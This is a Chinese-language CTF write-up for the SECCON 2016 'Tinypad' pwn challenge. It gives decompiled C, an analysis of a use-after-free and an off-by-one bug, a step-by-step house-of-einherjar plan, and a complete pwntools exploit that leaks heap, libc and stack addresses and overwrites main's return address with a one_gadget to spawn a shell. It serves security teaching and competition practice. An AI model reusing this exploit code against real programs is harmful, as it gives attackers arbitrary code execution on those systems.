SECCON-QUALS-2016-Tinypad

一道典型的house-of-einherjar题~

分析

检查发现只有PIE没开,还有个特别的FULL RELRO保护,这样就不能写GOT了:

经过分析发现如下结构体:

其第一个域为一个tmpBuf,用于临时存放输入/出的内容,大小为256Bytes,接着就是4个条目,存放最多四个的notes,包括长度与内容地址,接着查看程序主体,增删查改功能都有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int CMD; // eax
signed int reqSize; // eax
__int64 v6; // rax
unsigned __int64 v7; // rax
int c; // [rsp+4h] [rbp-1Ch]
int i; // [rsp+8h] [rbp-18h]
int index; // [rsp+Ch] [rbp-14h]
int CMDB; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
unsigned __int64 v14; // [rsp+18h] [rbp-8h]

v14 = __readfsqword(0x28u);
CMDB = 0;
write_n("\n", 1LL);
write_n(
" ============================================================================\n"
"// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n"
"|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n"
"|| _| _| _| _|_| _| _| _| _| _| _| ||\n"
"\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n"
" ============================================================================\n",
563LL);
write_n("\n", 1LL);
do
{

for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + '1';
writeln("+------------------------------------------------------------------------------+\n", 81LL);
write_n(" # INDEX: ", 12LL);
writeln((char *)&c, 1LL);
write_n(" # CONTENT: ", 12LL);
if ( *(_QWORD *)&tinypad.field_0[16 * (i + 16LL) + 8] ) //当存储内容的指针不为0就输出内容
{
v3 = strlen(*(const char **)&tinypad.field_0[16 * (i + 16LL) + 8]);
writeln(*(char **)&tinypad.field_0[16 * (i + 16LL) + 8], v3);
}
writeln("\n", 1LL);
}
index = 0;
CMD = getcmd();
CMDB = CMD;
if ( CMD == 'D' ) //删除
{
write_n("(INDEX)>>> ", 11LL);
index = read_int(); // 绝逼有用的
if ( index > 0 && index <= 4 )
{
if ( *(_QWORD *)&tinypad.field_0[16 * (index - 1 + 16LL)] ) //当长度不为0即可释放
{
free(*(void **)&tinypad.field_0[16 * (index - 1 + 16LL) + 8]);
*(_QWORD *)&tinypad.field_0[16 * (index - 1 + 16LL)] = 0LL;
writeln("\nDeleted.", 9LL); //整个释放过程并没有将指向内容的指针清零,可能存在uaf
}
else
{
writeln("Not used", 8LL);
}
}
else
{
writeln("Invalid index", 13LL);
}
}
else if ( CMD > 'D' )
{
if ( CMD != 'E' )
{
if ( CMD == 'Q' )
continue;
LABEL_43:
writeln("No such a command", 17LL);
continue;
}
write_n("(INDEX)>>> ", 11LL);
index = read_int();
if ( index > 0 && index <= 4 )
{
if ( *(_QWORD *)&tinypad.field_0[16 * (index - 1 + 16LL)] )
{
c = '0';
strcpy(tinypad.field_0, *(const char **)&tinypad.field_0[16 * (index - 1 + 16LL) + 8]);
while ( toupper((char *)(unsigned int)c) != 'Y' )
{
write_n("CONTENT: ", 9LL);
v6 = strlen(tinypad.field_0);
writeln(tinypad.field_0, v6);
write_n("(CONTENT)>>> ", 13LL);
v7 = strlen(*(const char **)&tinypad.field_0[16 * (index - 1 + 16LL) + 8]);
read_until(tinypad.field_0, v7, 0xAu);
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL);
read_until((char *)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad.field_0[16 * (index - 1 + 16LL) + 8], tinypad.field_0);
writeln("\nEdited.", 8LL);
}
else
{
writeln("Not used", 8LL);
}
}
else
{
writeln("Invalid index", 13LL);
}
}
else
{
if ( CMD != 'A' )
goto LABEL_43;
while ( index <= 3 && *(_QWORD *)&tinypad.field_0[16 * (index + 16LL)] )
++index;
if ( index == 4 )
{
writeln("No space is left.", 17LL);
}
else
{
size = -1;
write_n("(SIZE)>>> ", 10LL);
size = read_int();
if ( size <= 0 ) //添加笔记会malloc,输入笔记长度,最大256Bytes
{
reqSize = 1;
}
else
{
reqSize = size;
if ( (unsigned __int64)size > 0x100 )
reqSize = 256;
}
size = reqSize;
*(_QWORD *)&tinypad.field_0[16 * (index + 16LL)] = reqSize;
*(_QWORD *)&tinypad.field_0[16 * (index + 16LL) + 8] = malloc(size);
if ( !*(_QWORD *)&tinypad.field_0[16 * (index + 16LL) + 8] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13LL);
read_until(*(char **)&tinypad.field_0[16 * (index + 16LL) + 8], size, '\n');
writeln("\nAdded.", 7LL);
}
}
}
while ( CMDB != 'Q' );
return 0;
}

从上面可以看出最大分配256字节,存在uaf可以用于泄露堆与libc。另外在输入的地方存在off by one漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall read_until(char *buf, unsigned __int64 len, unsigned int endC)
{
int endCB; // [rsp+Ch] [rbp-34h]
unsigned __int64 i; // [rsp+28h] [rbp-18h]
__int64 v6; // [rsp+30h] [rbp-10h]

endCB = endC;
for ( i = 0LL; i < len; ++i )
{
v6 = read_n(0LL, &buf[i], 1LL);
if ( v6 < 0 )
return -1LL;
if ( !v6 || buf[i] == endCB )
break;
}
buf[i] = 0; // off by one
if ( i == len && buf[len - 1] != '\n' ) // 必须以endC结束
dummyinput(endCB);
return i;
}

利用

通过上面分析发现两个明显的漏洞,一个uaf只能用于泄露信息,因为不能编辑所以也不能拿做他用,那个off by one可能就是主要利用点了,覆盖pre_use位释放前面,这里的套路一般都是先控制tinypad域,因为它很多指针而且能对指针任意读写,一个简单的方法就是house of einherjar利用思路如下:

  1. 先分配4个大小为0x100的chunk(此处及以下指的请求大小,简单点。它的大小大于fastbin的maxfast即可)
  2. 释放chunk0,chunk2,此时内存如图:
  3. 现在得到了libc和heap的地址啦,使用edit在tinypad里面伪造一个chunk,伪造的chunksize要为tinypad到chunk1的距离。
  4. 释放chunk3,会进行合并,此时堆为:chunk0 chunk1(used) topchunk
  5. 再次分配一个0x100大小的chunk,会malloc chunk0到第一个位置,此时对其写入256字节数据,就会覆盖到chunk1的pre_use位,并且写的数据中pre_size要改为到tinypad的距离。
  6. 释放chunk1,会前向与后向合并,此时topchunk就指向tinypad了
  7. 再次分配就可获得tinypad区域,对其进行操作覆盖关键位置(指针处),即可任意位置读写
  8. 先读取__environ获得栈地址
  9. 再写入rop或者先尝试onegadget。

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python
# coding=utf-8
from pwn import *

binary = './tinypad'
libr = '/root/Desktop/glibc-2.24/build/'
ld = libr + 'elf/ld.so'
libc = libr + 'libc.so'
tinypadAddr = 0x602040
sReqSize = 0x90-8
lReqSize = 0x100-8
onegadget = 0x3f53e # 0xd6601
context.log_level = 'info'
def sla(a,b):
p.sendlineafter(b,a)

def r(size=0x1000):
return p.recv(size)
def ru(s):
return p.recvuntil(s)
def cp():
return process([ld,'--library-path',libr,binary])
# return remote('127.0.0.1',4000)
def add(size,s):
sla('A','(CMD)>>>')
assert(size<=0x100)
sla(str(size),'(SIZE)>>>')
sla(s,'(CONTENT)>>>')
assert('Added' in ru('+----'))

def delete(i):
sla('D','(CMD)>>>')
sla(str(i),'(INDEX)>>>')
assert('Invalid' not in ru('+----'))

def edit(i,s,y='Y'):
# sla('E','(CMD)>>>')
print 1
p.sendline('E')
print 2
sla(str(i),'(INDEX)>>>')
sla(s,'(CONTENT)>>>')
sla(y,'(Y/n)>>>')
aaa = ru('+---')
print aaa
assert('Edited' in aaa)

def getInfo():
add(sReqSize,'')
add(lReqSize,'a'*100)
add(lReqSize,'')
add(lReqSize,'')
delete(3)
delete(1)
st = ru('+- MENU')
st1 = st.split('# CONTENT: ')
heapAddr = u64(st1[1].split('\n\n+---')[0][:-1].ljust(8,'\x00'))
libcAddr = u64(st1[3].split('\n\n+---')[0][:-1].ljust(8,'\x00'))
log.info('heap3Addr:0x{:x}'.format(heapAddr))
log.info('libcAddr:0x{:x}'.format(libcAddr))
env = libcAddr + 0x23e0
log.info('env:0x{:x}'.format(env))
return heapAddr,libcAddr,env
def exp():
fakechunkSize = heapAddr-(lReqSize+0x8)-tinypadAddr
fakechunk = p64(0)+p64(fakechunkSize+1)+p64(tinypadAddr)*4
delete(4)
add(sReqSize,fakechunk.ljust(sReqSize-8)+p64(fakechunkSize))
edit(2,fakechunk)
delete(2)

p = cp()
heapAddr,libcAddr,env = getInfo()
exp()
mReqSize = 0xf0-8
add(mReqSize,'a'*(mReqSize-1))
add(mReqSize,'a'*8+p64(env))
st = ru('+- MENU')
st1 = st.split('# CONTENT: ')
stackAddr = u64(st1[1].split('\n\n+---')[0][:-1].ljust(8,'\x00'))
log.info('stackAddr:0x{:x}'.format(stackAddr))
mainRetAddr = stackAddr-0xf0+0x08
onegadget = libcAddr - 0x396b58 + onegadget
edit(3,'a'*8+p64(mainRetAddr))
log.info('mainRetAddr:0x{:x}'.format(mainRetAddr))
log.info('onegadgetAddr:0x{:x}'.format(onegadget))
edit(1,p64(onegadget))
p.sendline('Q')
p.interactive()
#gdb.attach(p)
#delete(2)
#add(0x80-8),'a'*(0x20-8)+p64(0x80-8)+p64(env))
pause()

结果

参考

[0] 题目地址
[1] https://0x48.pw/2018/01/16/0x41/